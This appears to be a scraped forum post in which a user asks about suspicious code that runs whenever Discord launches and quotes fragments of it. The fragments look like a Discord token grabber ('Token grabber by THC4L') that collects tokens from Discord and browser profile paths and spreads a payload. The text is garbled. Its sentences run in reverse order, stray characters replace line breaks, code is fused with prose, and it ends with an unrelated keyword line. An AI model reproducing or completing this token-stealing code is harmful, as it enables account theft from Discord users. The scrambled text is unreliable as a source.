It looks like it takes phone numbers, usernames, account info, PC info and more. Thread(target=spread, args=(token, payload, 7500 / 1000)).start()Īny idea what this could be? I can see: for token in gettokens(path): and 'text': f'Token grabber by THC4L' It almost looks like a Discord token skimmer. Return headers=getheaders(token))).read().decode()) 'Yandex' : LOCAL + '\Yandex\YandexBrowser\User Data\Default'ĭef getheaders(token=None, content_type='application/json'): 'Brave' : LOCAL + '\BraveSoftware\Brave-Browser\User Data\Default', 'Opera' : ROAMING + '\Opera Software\Opera Stable', 'Google Chrome' : LOCAL + '\Google\Chrome\User Data\Default', 'Discord PTB' : ROAMING + '\discordptb', 'Discord Canary' : ROAMING + '\discordcanary', Every time Discord is run, this chunk of code is run: import osįrom urllib.request import Request, urlopen Windows asks what program the code below should be run with and the default is Discord. The code below was brought to my attention as it was run around the time the problems began. Someone contacted me with a problem regarding Discord.

Discord canary windows